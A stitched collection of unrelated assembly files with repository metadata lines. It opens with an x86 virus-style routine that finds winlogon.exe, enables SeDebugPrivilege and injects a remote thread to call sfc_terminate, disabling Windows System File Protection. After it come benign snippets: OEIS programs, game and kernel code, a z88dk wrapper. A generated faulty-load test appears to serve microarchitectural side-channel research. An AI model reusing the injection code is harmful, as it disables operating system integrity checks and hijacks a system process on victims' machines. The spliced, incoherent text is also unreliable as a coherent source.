PROCESS_ALL_ACCESS EQU 0x1f0fff
TOKEN_ADJUST_PRIVILEGES EQU 32
SE_PRIVILEGE_ENABLED EQU 2
MEM_RELEASE EQU 0x8000
@SFC_Disable:
push ebp
mov ebp, esp
call [edi + GetVersion]
or eax, eax
js .end
push 'SFC'
push esp
call [edi - __LOADLIBRARY]
or eax, eax
jz .end
push eax
push byte 2
push eax
call [edi - __GETPROCADDR]
or eax, eax
jz .end
push eax
%ifndef hSfc
%define hSfc [ebp - 0x8]
%else
%error "macro defined twice"
%endif
%ifndef sfc_terminate
%define sfc_terminate [ebp - 0xC]
%else
%error "macro defined twice"
%endif
%ifndef GetApi
%define GetApi [ebp - 0x10]
%else
%error "macro defined twice"
%endif
call startcode
call .LoadApi
OFFS EQU 0x14
.k32api
FreeLibrary EQU ((0*4) + OFFS)
dd 0x4dc9d5a0
CreateToolhelp32Snapshot EQU ((1*4) + OFFS)
dd 0xe454dfed
Process32First EQU ((2*4) + OFFS)
dd 0x3249baa7
Process32Next EQU ((3*4) + OFFS)
dd 0x4776654a
OpenProcess EQU ((4*4) + OFFS)
dd 0xefe297c0
VirtualAllocEx EQU ((5*4) + OFFS)
dd 0x06e1a959c
CreateRemoteThread EQU ((6*4) + OFFS)
dd 0x72bd9cdd
VirtualFreeEx EQU ((7*4) + OFFS)
dd 0xc3b4eb78
GetCurrentProcess EQU ((8*4) + OFFS)
dd 0x7b8f17e6
WriteProcessMemory EQU ((9*4) + OFFS)
dd 0xd83d6aa1
_K32APINUM EQU (($ - .k32api)/4)
.LoadApi
pop esi
push byte _K32APINUM
pop ecx
mov ebx, [edi - __KERNEL32]
.LoadNextApi
push ecx
lodsd
xchg edx, eax ; hash
call GetApi ; LGetProcAddress
jecxz .end
pop ecx
push eax
loop .LoadNextApi
mov ch, 3
sub esp, ecx ;0x300 bytes
push ecx
push byte TH32CS_SNAPPROCESS
call [ebp - CreateToolhelp32Snapshot]
cmp eax, byte -1
je .free
xchg ebx, eax
push esp
push ebx
call [ebp - Process32First]
.loop1
or eax, eax
jz .close
lea edx, [esp + 0x24] ;szExeFile
push edx
push edx
call [edi + lstrlenA]
pop edx
cmp eax, wlgon_len
jl .nextp
add edx, eax
sub edx, byte wlgon_len
call .1
db 'winlogon.exe',0
.1
push edx
call [edi + lstrcmpiA]
or eax, eax
jnz .nextp
push ebx
call [edi + CloseHandle]
push dword [esp + 8] ;Winlogon PID
jmp short @AdjustPrivileges
.nextp
push esp
push ebx
call [ebp - Process32Next]
jmp short .loop1
.close
push ebx
call [edi + CloseHandle]
.free
push dword hSfc
call [ebp - FreeLibrary]
.end
leave
ret
@AdjustPrivileges
push byte 0
call .adv
db 'advapi32',0
.adv
call [edi - __LOADLIBRARY]
or eax, eax
jz .exit
xchg ebx, eax
push esi
push esp
push byte TOKEN_ADJUST_PRIVILEGES
call [ebp - GetCurrentProcess]
push eax
mov edx, 0x591ea70f ;OpenProcessToken
call GetApi
call eax
pop esi ;TokenHandle
or eax, eax
jz .exit
push byte SE_PRIVILEGE_ENABLED
push eax
push eax
push esp ;lpLuid
call .1
db 'SeDebugPrivilege',0
.1
push byte 0
mov edx, 0x97e8c2a2 ;LookupPrivilegeValueA
call GetApi
call eax
push byte 1
mov edx, esp ;TOKEN_PRIVILEGES
xor eax, eax
push eax
push eax
push eax
push edx
push eax
push esi
mov edx, 0x24488a0f ;AdjustTokenPrivileges
call GetApi
call eax
add esp, byte 0x14
push eax
.closeToken
push esi
call [edi + CloseHandle]
.exit
pop eax
or eax, eax
jz @SFC_Disable.free
push byte 0
push PROCESS_ALL_ACCESS
call [ebp - OpenProcess]
or eax, eax
jz @SFC_Disable.free
xchg ebx, eax
push byte PAGE_EXECUTE_READWRITE
pop ecx
push ecx
shl ecx, 6 ; 0x1000 (MEM_COMMIT)
push ecx
push byte RemoteThread_size
push byte 0
push ebx
call [ebp - VirtualAllocEx]
or eax, eax
jz .close
xchg esi, eax
push byte 0
push byte RemoteThread_size
call @Get_RemoteThread
push esi
push ebx
call [ebp - WriteProcessMemory]
or eax, eax
jz .cleanup
xor eax, eax
push eax
push eax
push dword sfc_terminate ;lpArgument
push esi ;lpThreadFunc
push eax
push eax
push ebx
call [ebp - CreateRemoteThread]
or eax, eax
jz .cleanup
push eax
push dword (60*1000) ;1 min.
push eax
call [edi + WaitForSingleObject]
or eax, eax
jnz .close
call [edi + CloseHandle]
.cleanup
push MEM_RELEASE
push byte 0
push esi
push ebx
call [ebp - VirtualFreeEx]
.close
push ebx
call [edi + CloseHandle]
.exit2
jmp @SFC_Disable.free
@Get_RemoteThread:
pop eax
call eax
@RemoteThread:
call [esp + 4]
ret
RemoteThread_size EQU ($ - @RemoteThread)
| 15.451178
| 45
| 0.662018
|
afc32dabb72f381d1858d7115b10076f0f7e3878
| 329
|
asm
|
Assembly
|
iod/iob/smsq.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
iod/iob/smsq.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
iod/iob/smsq.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
; SMSQ - Set Printer Aborted Message V2.00 1994 Tony Tebby
section iou
xdef iob_smsq
iob_smsq
xdef iob_ptab
include 'dev8_keys_qdos_sms'
include 'dev8_keys_msg8'
;+++
; This routine sets the printer aborted message
;
; a1 r message
;--
iob_ptab
move.w #msg8.abrt,a1
moveq #sms.mptr,d0
trap #do.sms2
rts
end
| 14.304348
| 65
| 0.714286
|
141b052877f311e19ef7a5cd4029a4e4beaa46f0
| 456
|
asm
|
Assembly
|
oeis/227/A227308.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/227/A227308.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/227/A227308.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A227308: Given an equilateral triangular grid with side n consisting of n(n+1)/2 points, a(n) is the maximum number of points that can be painted so that, if any 3 of the painted ones are chosen, they do not form an equilateral triangle with sides parallel to the grid.
; Submitted by Jon Maiga
; 1,2,4,6,8,12,14,18,22,26,30,34,39,44,49
lpb $0
mov $2,$0
mul $0,2
seq $2,195311 ; Row sums of A195310.
cmp $0,$2
add $3,$2
lpe
mov $0,$3
add $0,1
| 32.571429
| 271
| 0.697368
|
d79b2505c011e03e976aee64be50f7bd28a90497
| 364
|
asm
|
Assembly
|
oeis/021/A021552.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/021/A021552.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/021/A021552.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A021552: Decimal expansion of 1/548.
; Submitted by Christian Krause
; 0,0,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1
seq $0,83811 ; Numbers n such that 2n+1 is the digit reversal of n+1.
div $0,2192
mod $0,10
| 45.5
| 199
| 0.598901
|
493e550636fb72a555f3e462db7faf776bce746e
| 369
|
asm
|
Assembly
|
tests/math.asm
|
ntrupin/navmv
|
7106f979419051119fcd3e9bf498b390d030d1e9
|
[
"MIT"
] | 8
|
2020-01-12T07:11:21.000Z
|
2021-12-23T08:59:55.000Z
|
tests/math.asm
|
ntrupin/navmv
|
7106f979419051119fcd3e9bf498b390d030d1e9
|
[
"MIT"
] | null | null | null |
tests/math.asm
|
ntrupin/navmv
|
7106f979419051119fcd3e9bf498b390d030d1e9
|
[
"MIT"
] | null | null | null |
section .data:
.inc lib/math.asm
_start:
; Factorial
mov ax, 1
mov bx, 1
mov cx, 5!: /
syscall
mov ax, 5
call fact
mov cx, ax
mov ax, 1
mov bx, 1
syscall
; Power
mov ax, 1
mov bx, 1
mov cx, 5^3: /
syscall
mov ax, 5
mov bx, 3
call pow
mov cx, ax
mov ax, 1
mov bx, 1
syscall
| 13.666667
| 21
| 0.487805
|
1a9028e1d32380d9f77503f81a6e683d924c8012
| 610
|
asm
|
Assembly
|
oeis/075/A075415.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/075/A075415.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/075/A075415.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A075415: Squares of A002280 or numbers (666...6)^2.
; 0,36,4356,443556,44435556,4444355556,444443555556,44444435555556,4444444355555556,444444443555555556,44444444435555555556,4444444444355555555556,444444444443555555555556,44444444444435555555555556,4444444444444355555555555556,444444444444443555555555555556,44444444444444435555555555555556,4444444444444444355555555555555556,444444444444444443555555555555555556,44444444444444444435555555555555555556,4444444444444444444355555555555555555556,444444444444444444443555555555555555555556
mov $1,10
pow $1,$0
sub $1,1
pow $1,2
div $1,81
mul $1,36
mov $0,$1
| 55.454545
| 486
| 0.881967
|
d6ebac71a2cc062514a04ff936a92266f7433e09
| 1,254
|
asm
|
Assembly
|
Kernel/asm/libasm.asm
|
srosati/TPE_ARQUI
|
b2e6a3b56c0a82026a353a9e4f487b629861440e
|
[
"BSD-3-Clause"
] | null | null | null |
Kernel/asm/libasm.asm
|
srosati/TPE_ARQUI
|
b2e6a3b56c0a82026a353a9e4f487b629861440e
|
[
"BSD-3-Clause"
] | null | null | null |
Kernel/asm/libasm.asm
|
srosati/TPE_ARQUI
|
b2e6a3b56c0a82026a353a9e4f487b629861440e
|
[
"BSD-3-Clause"
] | null | null | null |
GLOBAL cpuVendor
GLOBAL getKey
GLOBAL saveRegisters
GLOBAL saveRIP
GLOBAL getRegisters
GLOBAL getMem
section .text
cpuVendor:
push rbp
mov rbp, rsp
push rbx
mov rax, 0
cpuid
mov [rdi], ebx
mov [rdi + 4], edx
mov [rdi + 8], ecx
mov byte [rdi+13], 0
mov rax, rdi
pop rbx
mov rsp, rbp
pop rbp
ret
saveRIP:
mov [registers+128], rdi
ret
saveRegisters:
mov [registers], rax
mov [registers+8], rbx
mov [registers+16], rcx
mov [registers+24], rdx
mov [registers+32], rbp
mov [registers+40], rsp
mov [registers+48], rsi
mov [registers+56], rdi
mov [registers+64], r8
mov [registers+72], r9
mov [registers+80], r10
mov [registers+88], r11
mov [registers+96], r12
mov [registers+104], r13
mov [registers+112], r14
mov [registers+120], r15
ret
getRegisters:
push rax
push rbx
push rcx
mov rax, 0
mov rbx, 0
.loop:
mov rcx, [registers+rbx]
mov [rdi+rbx], rcx
add rbx, 8
inc rax
cmp rax, 17
jl .loop
pop rcx
pop rbx
pop rax
ret
getKey:
push rbp
mov rbp, rsp
in al, 0x60
mov rsp, rbp
pop rbp
ret
getMem:
push rbp
mov rbp, rsp
push rbx
.loop:
mov bl, [rdi]
mov [rsi], bl
inc rdi
inc rsi
dec rdx
cmp rdx, 0
jg .loop
pop rbx
mov rsp, rbp
pop rbp
ret
section .bss
registers resb 136
| 11.942857
| 25
| 0.669856
|
d3d2d1e1dc198b997c6ee273c87f0cc2581ff698
| 4,133
|
asm
|
Assembly
|
ScrollModus/_code/GlobalCode/layers.asm
|
kosmonautdnb/TheLandsOfZador
|
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
|
[
"MIT"
] | null | null | null |
ScrollModus/_code/GlobalCode/layers.asm
|
kosmonautdnb/TheLandsOfZador
|
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
|
[
"MIT"
] | null | null | null |
ScrollModus/_code/GlobalCode/layers.asm
|
kosmonautdnb/TheLandsOfZador
|
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
|
[
"MIT"
] | null | null | null |
layersNoSound dc.b $00
ytemplayer dc.b $00
SUBROUTINE
;-------------------------------------------------------------
;-- updates the layer status (nr in accu)
;-------------------------------------------------------------
updateLayer
pha
sta .todo + 1
txa
pha
tya
pha
jsr waitForScrollDone
jsr switchFrame
jsr callLevelClearFunc
jsr switchFrame
jsr callLevelClearFunc
.todo
lda #$44
asl
tax
lda layers + 0,x
sta ZP_BYTE + 0
lda layers + 1,x
sta ZP_BYTE + 1
ldy #$00 ; on off
lda (ZP_BYTE),y
sta .iny1 + 1
sta .iny2 + 1
sta .jsrX + 1
iny
ldx #$00
.next
lda (ZP_BYTE),y
cmp #$ff
beq .done
sta stoneXPos
iny
lda (ZP_BYTE),y
sta stoneYPos
iny
.iny1
lda #$44
beq .noiny1
iny
.noiny1
lda (ZP_BYTE),y
sta stoneNr
.iny2
lda #$44
bne .noiny2
iny
.noiny2
jsr drawStoneOnXY
txa
and #$03
ora layersNoSound
ora stoneOutsideScreen
bne .nosound
lda #SOUND_LAYERREMOVE
ldx .iny1 + 1
beq .notbuild
lda #SOUND_LAYERBUILD
.notbuild
jsr triggerSound
.nosound
inx
iny
jmp .next
.done
sty ytemplayer
lda .todo + 1
asl
tax
lda layerJump + 0,x
sta .jsr + 1
lda layerJump + 1,x
sta .jsr + 2
.jsrX
ldx #$44
.jsr
jsr $4444
lda frameCounter + 0
sta lastFrameCounterGameLogik + 0
pla
tay
pla
tax
pla
rts
SUBROUTINE
;-------------------------------------------------------------
;-- activates a layer layer Number in Accu
;-------------------------------------------------------------
activateLayer
sta .todo + 1
txa
pha
tya
pha
.todo
lda #$44
asl
tax
lda layers + 0,x
sta .modi1 + 1
sta .modi2 + 1
lda layers + 1,x
sta .modi1 + 2
sta .modi2 + 2
.modi1
lda $4444
and #$01
bne .alreadyEnabled
lda #$01
.modi2
sta $4444
lda .todo + 1
jsr updateLayer
ldy ytemplayer
iny
lda (ZP_BYTE),y
cmp #$fe
bne .nolayeritem
iny
lda (ZP_BYTE),y
sta enemyAddPosX + 0
iny
lda (ZP_BYTE),y
sta enemyAddPosY + 0
lda #ITEMGAMEOBJECT
sta enemyAddGameObjectIndexStart
lda #ITEMGAMEOBJECT + 1
sta enemyAddGameObjectIndexEnd
lda enemyAddPosX + 0
lsr
lsr
lsr
lsr
lsr
lsr
sta enemyAddPosX + 1
lda enemyAddPosX + 0
asl
asl
sta enemyAddPosX + 0
lda enemyAddPosY + 0
lsr
lsr
lsr
lsr
lsr
sta enemyAddPosY + 1
lda enemyAddPosY + 0
asl
asl
asl
sta enemyAddPosY + 0
lda #GAMEOBJECT_COLLISIONTYPE_COLLECTABLE
sta enemyAddCollisionType
lda #NOLEVELENEMY
sta enemyAddLevelEnemyIndex
lda #ENEMY_TYPE_ITEM
sta enemyAddEnemyType
lda #COLLECTABLE_TYPE_ITEM
sta enemyAddPropertyIntern
jsr addEnemyIntern
.nolayeritem
.alreadyEnabled
pla
tay
pla
tax
rts
SUBROUTINE
;-------------------------------------------------------------
;-- activates a layer layer Number in Accu
;-------------------------------------------------------------
deactivateLayer
sta .todo + 1
txa
pha
.todo
lda #$44
asl
tax
lda layers + 0,x
sta .modi1 + 1
sta .modi2 + 1
lda layers + 1,x
sta .modi1 + 2
sta .modi2 + 2
.modi1
lda $4444
and #$01
beq .alreadyDisabled
lda #$00
.modi2
sta $4444
lda .todo + 1
jsr updateLayer
.alreadyDisabled
pla
tax
rts
SUBROUTINE
;-------------------------------------------------------------
;-- switches a layer
;-------------------------------------------------------------
switchLayer
pha
stx .xrestore + 1
asl
tax
lda layers + 0,x
sta .modi + 1
lda layers + 1,x
sta .modi + 2
.xrestore
ldx #$44
.modi
lda $4444
bne .deactivate
pla
jmp activateLayer
.deactivate
pla
jmp deactivateLayer
SUBROUTINE
;-------------------------------------------------------------
;-- activates a layer layer Number in Accu
;-------------------------------------------------------------
stoneXPos dc.b $00
stoneYPos dc.b $00
stoneNr dc.b $00
drawStoneOnXY
pha
txa
pha
tya
pha
lda stoneXPos
asl
asl
tax
lda DIV4MUL64TAB64MAPLO,x
clc
adc stoneYPos
sta .write + 1
lda DIV4MUL64TAB64MAPHI,x
adc #$00
sta .write + 2
lda stoneNr
.write
sta $4444
lda stoneXPos
asl
asl
sta rectLevelXS
lda stoneYPos
asl
asl
sta rectLevelYS
lda rectLevelXS
clc
adc #$04
sta rectLevelXE
lda rectLevelYS
clc
adc #$04
sta rectLevelYE
jsr redrawPortion
pla
tay
pla
tax
pla
rts
| 13.079114
| 62
| 0.593758
|
d3e042d36508c3a5f3b110e2a33996aacdb193a8
| 270
|
asm
|
Assembly
|
oeis/221/A221146.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/221/A221146.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/221/A221146.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A221146: Table read by antidiagonals: (m+n) - (m XOR n).
; Submitted by Simon Strandgaard
; 0,0,0,0,2,0,0,0,0,0,0,2,4,2,0,0,0,4,4,0,0,0,2,0,6,0,2,0,0,0,0,0,0,0,0,0,0,2,4,2
seq $0,4198 ; Table of x AND y, where (x,y) = (0,0),(0,1),(1,0),(0,2),(1,1),(2,0),...
mul $0,2
| 38.571429
| 85
| 0.551852
|
c2e5f987b4af27a7603f08b1e320bb66f477e680
| 336
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_erase_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_erase_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_erase_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; size_t b_vector_erase(b_vector_t *v, size_t idx)
SECTION code_clib
SECTION code_adt_b_vector
PUBLIC b_vector_erase_callee
EXTERN b_array_erase_callee
defc b_vector_erase_callee = b_array_erase_callee
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _b_vector_erase_callee
defc _b_vector_erase_callee = b_vector_erase_callee
ENDIF
| 17.684211
| 51
| 0.860119
|
ce36bb4c0a530d38d6c728c51b127ed84cde1ec0
| 6,942
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1661.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1661.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1661.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xe55d, %rsi
lea addresses_WT_ht+0x13c86, %rdi
nop
cmp $20218, %r15
mov $87, %rcx
rep movsq
nop
nop
sub $28048, %r8
lea addresses_UC_ht+0x1051d, %r15
nop
nop
nop
nop
xor $14116, %rcx
movb $0x61, (%r15)
nop
nop
nop
and $13068, %r8
lea addresses_WT_ht+0x151dd, %rsi
lea addresses_A_ht+0x14cdd, %rdi
nop
add %rbx, %rbx
mov $48, %rcx
rep movsq
nop
nop
nop
nop
sub $30465, %rsi
lea addresses_normal_ht+0x9add, %rsi
nop
nop
nop
nop
sub %r8, %r8
movups (%rsi), %xmm3
vpextrq $1, %xmm3, %rcx
nop
inc %rsi
lea addresses_normal_ht+0x1bf95, %rsi
lea addresses_UC_ht+0xae7d, %rdi
nop
nop
nop
nop
nop
sub $14559, %rbp
mov $52, %rcx
rep movsb
nop
nop
nop
nop
add $6636, %rdi
lea addresses_normal_ht+0x11bdd, %rbp
xor %rbx, %rbx
movups (%rbp), %xmm0
vpextrq $0, %xmm0, %rcx
nop
xor %rsi, %rsi
lea addresses_D_ht+0xc1dd, %rsi
lea addresses_UC_ht+0x16245, %rdi
nop
add %r14, %r14
mov $64, %rcx
rep movsq
nop
nop
nop
nop
nop
and $32274, %rcx
lea addresses_A_ht+0x4f3d, %rsi
nop
nop
nop
nop
xor %rbx, %rbx
movl $0x61626364, (%rsi)
nop
nop
sub $39446, %rsi
lea addresses_D_ht+0xe0d4, %r15
cmp $45259, %rcx
mov (%r15), %esi
nop
nop
and $40663, %r8
lea addresses_D_ht+0x5dfd, %rbx
nop
nop
nop
xor $18351, %rbp
mov (%rbx), %rdi
nop
nop
and $51418, %r15
lea addresses_WT_ht+0xafed, %rsi
nop
nop
nop
sub $20071, %rbp
movb $0x61, (%rsi)
nop
nop
nop
nop
nop
and %rbp, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %r9
push %rcx
push %rdx
push %rsi
// Store
lea addresses_A+0xb45d, %rsi
clflush (%rsi)
nop
nop
nop
nop
nop
dec %r9
movb $0x51, (%rsi)
nop
nop
nop
and $3794, %r15
// Faulty Load
lea addresses_UC+0x12dd, %rdx
clflush (%rdx)
sub %r13, %r13
movb (%rdx), %r15b
lea oracles, %rsi
and $0xff, %r15
shlq $12, %r15
mov (%rsi,%r15,1), %r15
pop %rsi
pop %rdx
pop %rcx
pop %r9
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 2}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': True, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 4}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': True, 'AVXalign': False, 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': False, 'congruent': 4}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 